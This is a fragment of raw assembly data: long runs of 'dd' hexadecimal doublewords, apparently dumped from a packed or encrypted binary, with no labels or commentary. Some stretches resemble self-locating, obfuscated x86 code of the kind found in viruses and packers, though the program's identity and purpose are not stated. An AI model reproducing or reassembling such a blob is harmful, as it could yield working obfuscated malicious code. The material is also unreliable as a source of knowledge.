dd 0A930C20h, 29BDDA56h, 903336CEh, 907A640Fh, 66000006h
dd 0ACECFF4h, 4F118A17h, 20D8C5D0h, 4A0E8F08h, 0DED5C6D3h
dd 5544DDADh, 0FE9B9048h, 5845DB9Dh, 38A1BD43h, 83216D63h
dd 12FB6B39h, 471BA02Dh, 0B843AE2Bh, 0B9935EDh, 1503415Ch
dd 5B1D7E20h, 0AB0ADAC7h, 32F2D573h, 641C7AFh, 25170000h
dd 0C8651B80h, 1B14CCD1h, 0C35B1D7Eh, 1A13C5D6h, 64151E7Fh
dd 910A8FA6h, 5C4154CFh, 900D8AA4h, 524B54C8h, 4A702E5Eh
dd 3E12FB6Ah, 2B472E8Dh, 1D9F43AEh, 862C7205h, 821C3641h
dd 0F36C925Ch, 809C0EE6h, 1F6CDC17h, 26BC1035h, 1C36419Ch
dd 8B082698h, 0EA0AE468h, 7DF3FC70h, 0BC3E8E60h, 3CC033A4h
dd 9EEFE3B8h, 0C9894FFDh, 55h, 73EB150Ah, 0ED098B66h, 88A74F5Ah
dd 0B5EBE30Dh, 1503466Ah, 8C4088Eh, 13DF0DAh, 0AB0EE13h
dd 0FE13013Eh, 30C4EAD8h, 3D9D23B1h, 0B05E1301h, 3DFCC6DCh
dd 0C8F81301h, 0C35E0E1Fh, 0F2DA1445h, 0A406ACh, 18DC0213h
dd 0CD00D9CBh, 9A928597h, 53h, 0A19B2EF9h, 3641B903h, 0C52BAD1Ch
dd 0DF3DB09h, 0C5EB1503h, 5F7AF709h, 2038883Eh, 0CD77FF0h
dd 9B22B044h, 9B13012Fh, 78D03DE3h, 9F57C1F6h, 24A8312Dh
dd 0DE15829Ah, 3BBD9A5Ah, 9238BB26h, 5ABDF468h, 6D48DBBh
dd 0E0648F61h, 5292414h, 2E650000h, 0D50BC39Bh, 15036C42h
dd 0B12E40B6h, 2C40B43Fh, 8CD940B3h, 9C1D498h, 3DE81FC5h
dd 0F4060BCEh, 0EA985C7Dh, 1EC408C4h, 1C364194h, 41BE049Ah
dd 34BA1C36h, 0FEC088Eh, 0CCD549h, 41AC16CCh, 4FE41C36h
dd 7E76784Ah, 692174FFh, 9B972965h, 8571F3FEh, 36AF4EFh
dd 3EEF015h, 0EE059C91h, 0EEC7E27Ah, 2B7B4D68h, 91FFF2FCh
dd 0EF955044h, 6F91B69Eh, 8E12E1F4h, 5F78F466h, 0C9D04D6Fh
dd 794EA62Ah, 0CB03DBEEh, 5DA33E31h, 7A1ED6C3h, 0CDC5E164h
dd 22D1D70Bh, 0A925B2AEh, 63C73CD9h, 19E7837Ah, 0D4589B06h
dd 0BB3A120h, 90637EF1h, 5F7CF20Ch, 8FE41094h, 51EA0A5h
dd 17DF6190h, 6D61398Ch, 2DE1037h, 0E6AE0E15h, 0B48C2543h
dd 8127DD19h, 0ADC8641Ch, 127CDF7h, 3A37C913h, 1ED0549Fh
dd 0A2514EE0h, 7D21D01Eh, 3EEEB83h, 62FB7581h, 0DE5AA349h
dd 1BD5B784h, 8B1609B3h, 9110E468h, 5C97021Fh, 0FE7673E8h
dd 58961AD9h, 4A3AAB99h, 15FF5EAFh, 48E1CE62h, 0E6FCA251h
dd 130055DCh, 0D618D6D8h, 0D5AFFAC5h, 55A50Fh, 0C7DDA113h
dd 130055FDh, 0F7F9F7F9h, 0C7EDB3D7h, 0C3130055h, 4E4BE31Dh
dd 5DC02A6h, 0A30BCD7Fh, 7C50F6FDh, 357C5C66h, 6728581Ch
dd 0D865964Ch, 76E80CE2h, 2616DDFAh, 9023CFB5h, 13CE14B8h
dd 9B1502E0h, 64900921h, 0BB7328AEh, 0BD1E803h, 0E4103EA3h
dd 0AE9F66Ah, 120D9A96h, 6E86C87h, 9C3D34C6h, 0D1E48358h
dd 0CCEDD5F9h, 0BC25391Dh, 1E0FB335h, 0AF5B9B81h, 0CDD26EF1h
dd 89542C0Bh, 0D018CC57h
dd 5AB599Dh, 0BE585EEEh, 97881C35h, 0FC75E70Ah, 2EAF16DDh
dd 77EEA346h, 8081CC8Dh, 5BE68950h, 0A0000000h, 0D44C99E0h
dd 0B242D4C1h, 0C39B2E0Bh, 6079F10Bh, 6BBAE894h, 91150372h
dd 0D50BBF0Fh, 130111EFh, 0B7FDA3EBh, 0B3130111h, 0AC33C32Dh
dd 961CC206h, 92130111h, 5698011Ch, 11AE109Eh, 0F66F1301h
dd 2A004D0Eh, 506A9285h, 8333BEDBh, 0F604C1B1h, 75816FF7h
dd 103C6h, 2B470500h, 58D143AEh, 5ED5DC51h, 0BA34B83Bh
dd 0D74BB537h, 4BA527CAh, 9F3834A8h, 534CE054h, 45A97A4Ah
dd 255D1C36h, 26934164h, 0E15B9B4Ah, 9147544Dh, 4C8049Dh
dd 29B01AC8h, 2A41C36h, 3629DAE0h, 0F976CC1Ch, 0D39D6AD1h
dd 0AD17CDF1h, 0A91C354Bh, 860DE907h, 0D6F6AEF9h, 278ADC8h
dd 504D5315h, 606C246Fh, 7842602Ch, 6C130067h, 67309A48h
dd 82241300h, 0EF73546Ch, 869B19A2h, 0AF4FE06Eh, 4D6F0BCCh
dd 872BC6D3h, 334E7359h, 0AF41671Ch, 94E99947h, 0E7BFEB72h
dd 0B612BA34h, 334AA228h, 0E410961Ch, 0F66A9438h, 7A7960F9h
dd 82FCF8F6h, 2BADEEEBh, 0A43FA732h, 0F9E9A367h, 231907Ah
dd 55070000h, 0B8B52B70h, 6B047C21h, 0B3AB2D6Eh, 6A037526h
dd 14652E6Fh, 0C1DAFF76h, 0ECB1243Fh, 0C0DDFA74h, 0E2BB2438h
dd 0BA009EEEh, 0AE12FB66h, 2E479E1Dh, 0F26EF2ABh, 0EC0EB8E5h
dd 0F2916572h, 0BC39B2Eh, 0FFF5D4B3h, 39BDBD5Ch, 0DBC04F95h
dd 0B2341502h, 8A306E1Ah, 7E13009Bh, 71159C58h, 9B3D871Dh
dd 0B7391300h, 28CBD649h, 0FCC250A4h, 0BD13009Bh, 5D11B111h
dd 0CAC65140h, 0EEEFD52Ah, 9285569Fh, 0E1C8h, 2B470700h
dd 0EB9F43AEh, 0AF425FD1h, 420DB72Dh, 0E7091C36h, 15849D0Fh
dd 45BD4EDEh, 0FF731C36h, 3D9822C0h, 0A8C1C36h, 2D41B7E4h
dd 3D664C92h, 3C621C36h, 0C22CA9C2h, 3911A42Fh, 0BE893995h
dd 562F018Ch, 0AFAE44B0h, 651502E5h, 3A8D5A43h, 0D2346A62h
dd 460BCC4Dh, 9B922CA0h, 8571F3FEh, 4B4EE7D9h, 33994783h
dd 251C342Dh, 6C4C1FEDh, 0F5FBC96Ah, 6C87120Bh, 772F0CE8h
dd 49278D53h, 7D231C33h, 496E0779h, 3349319Bh, 0D0C9611Ch
dd 83259F21h, 68C0796Dh, 56DDE9A3h, 10A6Ch, 5572E000h
dd 49D9048h, 534EE197h, 0F99E964Ah, 5445DCA4h, 4B3F4C47h
dd 22D6C7D2h, 490F8C09h, 0FD1CAD7h, 33158613h, 657F455Bh
dd 6A7B12FBh, 0AB2E4769h, 0F5F26EF2h, 13955C7Dh, 8B6574EDh
dd 2B472112h, 0E2474980h, 21A34E4Bh, 6BE99A1h, 0BC9CE4E8h
dd 0A0E2EB76h, 0B82E6721h, 0B6A53508h, 0D14DBF3Eh, 0EBBC04C8h
dd 0B9493AABh, 75592EC6h, 97418B19h, 0B3351C35h, 2DE5B043h
dd 0E98E03A1h, 4066150Bh, 23C10DB1h, 12FBC699h, 71EB0B8Dh
dd 6079F4FDh, 0BCE10F91h, 0A7BF2844h, 44AF2C42h, 41C32EC0h
dd 24B444AFh, 1901DA88h, 0AA8B0D75h, 670002BEh, 0D420CECBh
dd 4EE2957Fh, 98944C51h, 42A30FD1h, 757BB826h, 0AB952959h
dd 0E4CA5FECh, 25A74A4Fh, 30A42BCBh, 0E23A7138h, 0B4746595h
dd 5C6488DFh, 8A64D2EFh, 6F7AF567h, 0E80BE5F0h, 17DAFF74h
dd 0B4B79D84h, 0E4977DCEh, 8A4E4F48h, 0EA0996h, 3, 47844F51h
dd 0CF41B015h, 39AB4653h, 0C537BA27h, 54C82BAEh, 0C335BCDDh
dd 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h, 5E08950h
dd 4, 42Dh, 24048700h, 2414895Ch, 1C4A68h, 24348900h, 30F368h
dd 242C8900h, 0D258BF57h, 0FE89093Ah, 81243C8Bh, 4C4h
dd 3C596800h, 24890000h, 24048324h, 0BB535D04h, 8, 568BC381h
dd 0EB01035Ch, 568BEB81h, 3389035Ch, 242C8B5Bh, 81E28952h
dd 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 835E2434h, 0C5E904C4h
dd 0B0FFFAA0h, 0B2A24E86h, 0B880D3D7h, 93ADD96h, 0E0FFC503h
dd 24297E51h, 642EB73Bh, 2C87060Ch, 15572EF3h, 53F76250h
dd 327F95BCh, 725E5FB2h, 31536E61h, 7EEB6DD1h, 5127565Ah
dd 2220106h, 1A69E2h, 5D45FE61h, 45991DA1h, 5CC3B3CFh
dd 24EBh, 8 dup(0)
dd 0BDE90000h, 89000000h, 3ADE60B5h, 19858B09h, 8B09351Ch
dd 352FF585h, 0AAB58D09h, 8D093ADEh, 384C2D85h, 0C3D0FF09h
dd 0E855h, 815D0000h, 3ADEB0EDh, 19BD8309h, 109351Ch, 2C850Fh
dd 0B5FF0000h, 93ADE60h, 2FF5858Bh, 36350935h, 0FF348127h
dd 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h, 40E9C0h
dd 1C6A0000h, 0DE64B58Dh, 0FF56093Ah, 3ADE60B5h, 0F5858B09h
dd 3509352Fh, 34812736h, 0C483D0FFh, 64B58D0Ch, 8B093ADEh
dd 0E0831446h, 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h
dd 0BD830000h, 9351C19h, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h
dd 0DE89858Dh, 8589093Ah, 93505BDh, 13E8h, 0E76F00h, 78B83723h
dd 0B7DF6138h, 7DEBD25h, 7AF155FEh, 0E395BF50h, 5A5B6242h
dd 0C281FE8Bh, 62F1h, 118A0Fh, 0CE90000h, 0F2000000h, 6A737492h
dd 28C6CA1Ah, 0B813FF89h, 2C5C3401h, 2C98F081h, 0CE92C5Ch
dd 78000000h, 0D9024151h, 78BA7E70h, 8B0F760Ah, 8130B532h
dd 0CD0C9F6h, 0DFEE8157h, 5316082Bh, 5BD98B51h, 6FEE815Bh
dd 0F100119h, 3289FABFh, 83FABF0Fh, 8B6603EAh, 36BF4AF8h
dd 4809D524h, 0FFC9850Fh, 0BF66FFFFh, 8D8DAF21h, 93AE0BEh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0BAC35242h
dd 0C33C5073h, 89F1498Dh, 3516298Dh, 56006A09h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 9F8AEA9Ah
dd 4F37C041h, 81663095h, 8BDB28F7h, 352331B5h, 7D85C709h
dd 0D4093528h, 6A00006Ch, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 0D49EC357h, 85C77F7Ah
dd 9352255h, 0
dd 24CD9533h, 0B5FF0935h, 9351239h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 0EC35646h, 500ABA66h, 0D0595FFh
dd 0BD8B0935h, 935231Dh, 222C8ABBh, 0FF006A00h, 35082995h
dd 0EBC08B09h, 5122E459h, 25ADE0EBh, 0DAACCEFBh, 0EA4C2B42h
dd 3D580F6Ch, 0D4C8CD01h, 5255B9FCh, 6FF7AA06h, 8C9E3926h
dd 9575616h, 0E68593A2h, 4E8E15ECh, 9E93CD5Ah, 7372B7E6h
dd 9FD14C28h, 73F0020Eh, 2A70E526h, 9E064E62h, 3979C0E3h
dd 9BD2B27Fh, 0A25F8428h, 0E6D27F99h, 8EBB5B3h, 46A47C35h
dd 25C0000h, 0C38E9h, 0E2EB6800h, 71E9093Ah, 68FFFB64h
dd 93AE3FCh, 0FB6467E9h, 0E56268FFh, 5DE9093Ah, 68FFFB64h
dd 93AE637h, 0FB6453E9h, 0E6D568FFh, 49E9093Ah, 68FFFB64h
dd 93AE8D1h, 0FB643FE9h, 0E95F68FFh, 35E9093Ah, 68FFFB64h
dd 93AEA9Fh, 0FB642BE9h, 0EBCF68FFh, 21E9093Ah, 49FFFB64h
dd 0B4D3D886h, 324D5E1Eh, 0C7B8E599h, 34535806h, 24D0DD9Dh
dd 0E09E3589h, 5202CCBBh, 0E6963E49h, 5E1ECAB5h, 0B3123F4Dh
dd 0CF886131h, 0D0E15922h, 5A6911B7h, 0A47BFBEDh, 7E54755Fh
dd 98C607FEh, 0B9221D0Eh, 823FC6B3h, 11CF82A7h, 0C06AF207h
dd 8A68B02Ch, 539609B8h, 5A05DF66h, 2356CF83h, 835940A2h
dd 930513CFh, 59BB21A0h, 38A7CF83h, 2EFEA5D9h, 5EE7F9B1h
dd 6F000000h, 6816B7D0h, 83BD2E59h, 100E7D34h, 0C620A51Bh
dd 95C64DF3h, 0F6E21583h, 9B0D9776h, 792DBE6Eh, 7121FD8Bh
dd 494EB7C2h, 5CCF82EBh, 0D7B6A42Bh, 4DC4DB4Dh, 0CF828ACFh
dd 3293A693h, 0CF828AB0h, 18475A3h, 0CF828B1Fh, 0EACDE434h
dd 0F98C33ABh, 0D055F9B1h, 2C000000h, 0ECC7B71Bh, 0BB1ACEF2h
dd 4D80C85Ah, 0B9A529C6h, 839542E6h, 0C60DFA15h, 75A8D6F7h
dd 72245872h, 700E924h, 238598C6h, 0B1B12310h, 3F3FA9DEh
dd 850E9F6Eh, 6FFDC64Dh, 0DA336027h, 26D449Bh, 7C8596D6h
dd 4416448Bh, 7030367Ch, 7601B0A9h, 38EB2242h, 35A0E9EFh
dd 0CF834668h, 4F703DEBh, 80778088h, 0FF49134Bh, 814BB72Dh
dd 8C7D08BBh, 0E827577Bh, 0F228A59Ch, 81D8BB30h, 7E556297h
dd 0E5EC1B00h, 21378975h, 0FEA7563h, 9D533h, 6AE8E300h
dd 0D08C4641h, 6717BCCBh, 0DA844936h, 5F1FB6D1h, 0B307A64Eh
dd 324D5E1Ch, 0CCBBE09Ch, 38475404h, 0CDBFEC8Ch, 62BF21A4h
dd 0E794CF88h, 5707CE4Fh, 0C2BC1522h, 6B5DAAEFh, 0E58220Bh
dd 42EA1F1Dh, 0FE7B7D9h, 919C97F8h, 83742734h, 0CA4B3ECFh
dd 0CF837358h, 16468CFBh, 0ADFBADF7h, 741D0372h, 5445CF83h
dd 3C5E78C8h, 5BC3A3Ch, 0B45B9302h, 1DF9B1EFh, 0F6h, 1E1ACEA5h
dd 0CA9DE95Bh, 0A9EA7079h, 0A816C74Fh, 463146D0h, 0E484308Dh
dd 0D90C7F32h, 0C17B65F0h, 48E0C64Dh, 97C70E79h, 0C6D01978h
dd 37A1C64Dh, 0AF196637h, 1CDBACFh, 3EE95E55h, 3B9AEFEDh
dd 0CF82F066h, 5C45DF8Dh, 1D87B135h, 0F9EDDF11h, 3CF7A180h
dd 0FACFE891h, 7325FF84h, 0E236CF83h, 8F586734h, 0B0D7EE4Dh
dd 2472BFAEh, 0C59372D3h, 5562D8BAh, 9A43FE78h, 0DC90798Eh
dd 0EE773D05h, 9EA998E0h, 29564737h, 68D0BCA2h, 39756320h
dd 8C48066h, 0FFD20000h, 7951AE7Fh, 0E2E71805h, 7F50AF7Ch
dd 0FAD12EFFh, 32DD9784h, 9687F7DEh, 34F96569h, 0B07DFDD3h
dd 1805654Fh, 988A0BF4h, 0BBCF8863h, 7CE26D0h, 2E611DB6h
dd 0B1EC9239h, 2257C157h, 0C4C98517h, 0B1C7F965h, 4E2ED254h
dd 9C9781C6h, 0BD1ECAB5h, 0DE2A6511h, 766CA60Ch, 0CC5AE62Ah
dd 1ACE13DFh, 9440435Ah, 2FF8C7D4h, 0DEE9E029h, 0F1938AEAh
dd 0A9B2C342h, 0BB61CF82h, 0B282DD50h, 0EEF7CA4Fh, 0B420633Ah
dd 2C98E7B4h, 0E53323ABh, 3131A394h, 9B680D82h, 0B956C8ABh
dd 8034C756h, 23A297E0h, 54C0ABC1h, 6FEFE592h, 6F42D430h
dd 8BEBDD2Ah, 1B43897Eh, 61BE3328h, 0B254C0ABh, 893BCE4Dh
dd 0B2C5C4E9h, 0E14E6519h, 0F99877F7h, 54C0ABE0h, 0A97897FEh
dd 116E3F3Fh, 0DBC8C7A7h, 9AFB0C0Ch, 410F5835h, 0E4E3C860h
dd 8104F5F3h, 483C73B4h, 954BD6Fh, 20738C6Ah, 7D908811h
dd 0D98D0B18h, 0A7F65937h, 8FB802Fh, 9E954781h, 180470B9h
dd 0F8EA6B9Ch, 5B37DA78h, 7295F6CDh, 6C000004h, 0EE8ED6C0h
dd 0FEB567DFh, 80CA5CE4h, 27B5C64Dh, 58C64D90h, 0C64D94B2h
dd 4D940F0Dh, 0B3B922C6h, 98323FC6h, 3BE1CF82h, 0F88BB147h
dd 8DBE3A59h, 82439C4Eh, 85933EF5h, 54A23B79h, 2F13E67Ch
dd 75Eh, 2CF1616Ch, 9687F7DBh, 2DFE6069h, 9C81FDD2h, 25F6646Bh
dd 854CA04Fh, 17B7C8D5h, 83493667h, 3B5D2DBh, 2D5A3A63h
dd 88653EA8h, 0C46E1DCFh, 6A10B7D0h, 55E2D133h, 0FFE16463h
dd 54C64D80h, 122552C4h, 9BF0C3BBh, 30983FA8h, 65B35548h
dd 0B1142514h, 0C64D802Fh, 0C03DF424h, 0CF886184h, 77180513h
dd 1319022Dh, 791E5FE6h, 0BB6DD8BDh, 0B32DF81Dh, 3B4C75BEh
dd 5CA8E797h, 2CD11A65h, 40C5B51Bh, 75BC4AE6h, 4F5A375h
dd 0F175D481h, 1B7A8F7Eh, 6CA96209h, 0BAE3DE4Ah, 0AB93196Eh
dd 0AD77B3h, 0F41A469Dh, 0F058B466h, 8FA47E07h, 61B76CA8h
dd 0E14AFD52h, 5127AEDBh, 2275DDC8h, 0C2F601F6h, 5A8E79A2h
dd 5E7AF21Ah, 0CCAFDA0Fh, 689F6h, 46349700h, 0BCA02A55h
dd 433B90EFh, 0B6A02D5Ah, 4B339AE5h, 0A7FB9A62h, 16713A20h
dd 90EFBCB8h, 2C5B4038h, 0A1F3B8B8h, 66D34DB8h, 0F388CF88h
dd 1F1D0E7Bh, 0A9CA6BEAh, 0C329CF82h, 0D40753BBh, 904925Bh
dd 938AEADEh, 7CCF4EB1h, 96C60CABh, 19F46A5Fh, 65F0198Fh
dd 0D8B7AACCh, 6134F92Fh, 0C64DA87Bh, 4DA92204h, 0C0C80FC6h
dd 49BE25B7h, 38F0E830h, 0A9950089h, 0EACF88E2h, 33B25F3Eh
dd 4ECF87E0h, 0CF87E0CFh, 7845897Eh, 0C37E2850h, 206C0CB8h
dd 83A4F626h, 0EBB2906Bh, 0F9000005h, 8483A8D6h, 0E21D0E4Eh
dd 57A875E9h, 0E4230876h, 0B4406DEDh, 500EC519h, 0E2923C4Bh
dd 5606CEB9h, 0EE8E3A45h, 23A2CFBDh, 0CF8866C1h, 0E51E992h
dd 6BEA1F1Dh, 0CF886197h, 0FB636760h, 7E8B9D48h, 62180A8Bh
dd 7ADBCF88h, 0CF886168h, 7CAC3DEBh, 2395D2C5h, 796D5A43h
dd 755FA47Bh, 0EDD728F5h, 617D67EEh, 4ADECF88h, 12C6C1DCh
dd 80483B52h, 9C2C5D8h, 53BA3A55h, 0B6BFD6C4h, 7B10CC1h
dd 4ADC2867h, 0C0B81053h, 0D6ED3BCDh, 0E5CFA2F1h, 4D837485h
dd 6B6F360Dh, 0F9BE12C4h, 1AC0Dh, 0FFD3E400h, 0E2AC47Fh
dd 6BEA1F1Dh, 0CF828426h, 9BAEDB4Dh, 8283A83Ah, 0C67DABCFh
dd 83C024D1h, 0AA55CF82h, 20AD9A6Bh, 0BCCD5736h, 8283C759h
dd 0A59C8CCFh, 0FE0B11DAh, 354A236Eh, 43FE4A0Ch, 0DB3A4F3Ah
dd 0CF82C649h, 0A6231E0Ah, 0D8B7C9E9h, 708F9C8Ch, 0E4D32444h
dd 0CEC170F0h, 5E4F2F99h, 85727A61h, 82ECC300h, 920AD2CFh
dd 4439EDDh, 968A7F1h, 0CF832813h, 666D5A4Fh, 97C70DF8h
dd 84F8179Ch, 0F9B150DFh, 5906h, 1D0E4C00h, 0EA25517Eh
dd 0AFF089Eh, 0B29CCE62h, 9D947588h, 82BD3B20h, 76DFEACFh
dd 0CF82BC6Ch, 4B3398EFh, 0CCBBE6DDh, 4A3B5202h, 82BC59CBh
dd 782EFACFh, 9C82EF2Eh, 55CF82BCh, 0E41FFE78h, 4F346BEBh
dd 319E6DACh, 68BE4A45h, 7CF01F8Eh, 0F9B1CFD7h, 0BFFEh
dd 1ACE4400h, 3542435Ah, 1FADE09Eh, 6FC40736h, 142F7971h
dd 0CDBAA027h, 596814BAh, 0F6D70106h
dd 17F6A0DCh, 0B378F8ECh, 4E5FC9E2h, 6E0EBAC6h, 9399823Dh
dd 6B645366h, 5EB82AEBh, 8D9BC64Eh, 0C9BECBB6h, 6610BD00h
dd 3C4BDD27h, 5CA8E797h, 101F6865h, 0EA3ECF86h, 9A23AA9Dh
dd 0D0DD4B33h, 42C318AFh, 0CF84EFE0h, 0BF3A573h, 7C56064Fh
dd 0EF23BFDAh, 0FD000003h, 8877A4D2h, 0F6111A42h, 8B7CA1DDh
dd 0F8071442h, 0F884A9D1h, 9CC2095Dh, 1E5E708Fh, 0A2DAF20Dh
dd 1A5A8E79h, 6FD60311h, 0CF886875h, 0D01D95E6h, 2705D51Ch
dd 0A49F3887h, 614A3097h, 4A76B226h, 0B6BEFE18h, 0BF3B60B6h
dd 435A1ACEh, 0C7D49440h, 0C65C2Bh, 23B9C64Eh, 0EC64E00h
dd 6BEA1F1Dh, 0CF88E197h, 281F68C0h, 88FBB6A6h, 3B4C4C9Bh
dd 48DA3B4Eh, 0BCF87E1h, 12A7261Dh, 61D8BD0Dh, 23B1C7B7h
dd 0DF0756Eh, 36139h, 1E5C6F00h, 0A4D8F20Dh, 1B438877h
dd 9ED8F512h, 235B728Dh, 7FD382FAh, 0FE091248h, 8877A4D0h
dd 0F4131840h, 997BA0C0h, 69FBE570h, 2B60CF88h, 5A1ACE83h
dd 78737F2Dh, 9D3E49C7h, 43FE7E6Ah, 0C1A11350h, 0FCFCEBDCh
dd 32358A0Bh, 2760CF83h, 2E61B7A7h, 832D59C7h, 77A609CFh
dd 0B15A50FFh, 4A81F9h, 0EC90000h, 0B15801Dh, 50C64D81h
dd 0DC394ED8h, 0CF82B0BFh, 0A73542D6h, 0BBA43F46h, 0DD47CECEh
dd 7ECF82ECh, 5245FCAAh, 82EC3DA3h, 5BBA25CFh, 0B19F7C23h
dd 0F465F9h, 0F07C0000h, 0C608F7F7h, 3F2D7796h, 0BBF3D96h
dd 0F4EEC553h, 435A1ACEh, 54CE3742h, 7C64D80h, 0BE152211h
dd 3725B7C0h, 0C090B7EAh, 9BC8BB76h, 47404929h, 62C6D981h
dd 0DD07FC4Fh, 0ECFD909Dh, 9FC64E74h, 49359DAAh, 0CF51B256h
dd 22C64E6Bh, 48DCB3ABh, 0CDBA899Fh, 35525B1Bh, 0F7ACE383h
dd 76DF2830h, 0CF839811h, 0DFFED3E4h, 89C73EBh, 2EFAA39Eh
dd 0DCF304FDh, 0FD8A39Eh, 26950009h, 35D8BAFCh, 2AA196E3h
dd 2D1A6734h, 4125B7A7h, 72EDAD81h, 0A229162Dh, 0F7B4D0BCh
dd 22FD7563h, 22144h, 0DE9C2F00h, 6418B2CDh, 0DB834837h
dd 5E18B5D2h, 0E39B324Dh, 3F9342BAh, 0BEC9D288h, 48376410h
dd 0B4D3D880h, 593B6000h, 6A3BA530h, 6B20CF88h, 16B7D0C3h
dd 0E0D33568h, 2DFE7C53h, 9586E6D2h, 0A3CF5D6Ch, 842AF750h
dd 2DB75Ch, 0FA2EC64Eh, 1D0EAF47h, 0EE6BEA1Fh, 5CF82B0h
dd 8795FC13h, 6ACF82B0h, 0E023FA62h, 0DC46CFEEh, 7FCF82B0h
dd 0FA20FFA9h, 5412008Fh, 0EED9AAE9h, 2A679E5h, 0C3F09F2Fh
dd 0F9E1F9B1h, 69000000h, 435A1ACEh, 0D3328940h, 0C64D8051h
dd 64E11602h, 0C64D8082h, 0BED147D1h, 4D859657h, 0F17163C6h
dd 0FEEADD2Ch, 0DF669F7Eh, 0C64D8505h, 2154C256h, 7300B3ABh
dd 0FBEE2141h, 0BB294671h, 67796313h, 6B182B0Ah, 4AF4DB7Ch
dd 48849B2Ch, 97762016h, 0E76E9B0Dh, 0CF8382A2h, 4B3667B1h
dd 0ACE3933Ch, 0CD1E6958h, 46CFBACFh, 0CF8379DCh, 0F560A97Fh
dd 0CF8379EBh, 8009B870h, 0BB2B4715h, 6B9C8CD8h, 6A64755Ch
dd 0C751B3EAh, 5F7681ECh, 0DAF10E1Fh, 0C8A68005h, 63B5C64Fh
dd 21A7C9B5h, 1FFA7563h, 0F143h, 8ECCFF00h, 0F468629Dh
dd 8BF3D827h, 0EE6865A2h, 530BC2BDh, 0AF03B24Ah, 4E396218h
dd 0B8C7D480h, 44436810h, 0C9CBD090h, 6BAB35A0h, 0DBB0CF88h
dd 13B7D053h, 3F5E1ECAh, 0C85C33E5h, 356816BDh, 7C53E0D3h
dd 676309FEh, 85EB1BA0h, 0FE095063h, 0F981AACAh, 0C817B7D0h
dd 4D80E33Dh, 0F6A078C6h, 0E484303Bh, 6A0ABEA9h, 37A92C1Dh
dd 1CC64D80h, 4F70350Ch, 0E778088h, 0CF88622Eh, 0AFB4EB3Dh
dd 0E53FC605h, 76CF8861h, 1A6B8A2h, 85F78F2Eh, 6DFF0A13h
dd 78E3C17Bh, 6B46C8h, 1C7994D4h, 1F261EAFh, 2AFB1AE5h
dd 0C9F48D1Fh, 0F2D43A2Ah, 0F1BA8F91h, 2354C40Ch, 0F1BA40A2h
dd 2E05130Ch, 0C6D79741h, 306F0FB9h, 0C1DC9A33h, 10E332DDh
dd 0A8D7C4A4h, 3C4B3C3Ch, 5FA9E494h, 1F6EF64h, 0A3C892CCh
dd 0AD7A11B9h, 3CDD9E8h, 2D000000h, 3CE9565h, 9D473C53h
dd 0FC5C2DDh, 0BB13504Fh, 289FE4BBh, 0A1285B32h, 2CA1E6B9h
dd 0A3285B32h, 2B9FE4BBh, 68805C33h, 748Dh, 89240489h
dd 405E0h, 0E8830000h, 24048704h, 0E689565Ch, 4C681h, 0EE810000h
dd 4, 5C243487h, 68240489h, 67D8h, 68243C89h, 93AE185h
dd 8324048Bh, 8B5404C4h, 0C483243Ch, 8BA5204h, 1000000h
dd 0B951FAh, 1000000h, 590189D1h, 2434FF5Ah, 4C4835Fh
dd 5124048Bh, 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFFB5848h
dd 4C5818C5h, 0ECE5B8E1h, 0C503093Ah, 3385E0FFh, 0A20A219Bh
dd 0E6F16695h, 0ED8120F8h, 574B6604h, 0CCF6670Bh, 673C5CFDh
dd 640946DDh, 9D29717Bh, 75612328h, 229E6F4Dh, 0B7E40EBEh
dd 9E80647h, 0E6000000h, 48EE7AFDh, 98AD656Ch, 84BA6660h
dd 0EB3BEA4h, 5E614E82h, 98E0Fh, 0BA600000h, 17F941DDh
dd 816149B0h, 5BA1C6h, 57BF6600h, 6833h, 29B40000h, 0D0CB815Ah
dd 8B28916Ah, 0E860160Ch, 0Ah, 80FF808Ah, 444681Ah, 890FB389h
dd 0
dd 61DD8A5Ah, 0C28EF181h, 0E88116E4h, 3DB5F2C1h, 0B192C181h
dd 81661592h, 81018EC0h, 0C157F8F1h, 0C89FC72h, 13E916h
dd 15D80000h, 31321AC2h, 0F2A4C987h, 0DD2CA821h, 64E753CBh
dd 8B6656A9h, 0EA815BD9h, 6043AC49h, 0C28101B0h, 6043AC45h
dd 4CD78166h, 40FA81FAh, 0FFFFFA5h, 1C85h, 69EB8100h, 0E90CA6A0h
dd 24h, 0E22BF8DFh, 8DC0B794h, 7544B778h, 57347FABh, 6A2CBF47h
dd 60E95C9Ch, 63FFFFFFh, 0AFFF75E0h, 6D4DA76h, 0EF5E8D8Dh
dd 6A093Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 678B18C3h, 430907Fh, 8B666B75h, 298D89F3h
dd 6A093516h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 31F0C356h, 0C766E7F5h, 35287D85h
dd 72BC09h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 0C1B62F16h, 6B88DBCAh, 2ED19D8Bh
dd 85C70935h, 9352255h, 0
dd 1AF5B58Bh, 0B5FF0935h, 93503DDh, 0AE18523h, 95FF0935h
dd 9350D05h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 0FDC35141h, 68C0F7Dh, 89000000h, 352C5185h, 0FF006A09h
dd 35082995h, 0EBC08B09h, 0B3176859h, 96F40694h, 82B07Ch
dd 7C9E6974h, 0E3756C78h, 4359F9A1h, 0A3210F2Bh, 0BFB93694h
dd 84572B2Bh, 978D792Ch, 0A0730A8Fh, 1C76193Dh, 0F288FCB5h
dd 3F02371Dh, 0C555AA2Ch, 3D0CAD91h, 7CB7A0ADh, 62B01C43h
dd 0BA5A5DCCh, 521991Ch, 0EABD592Bh, 9D0E8073h, 0ABE9C6CCh
dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h
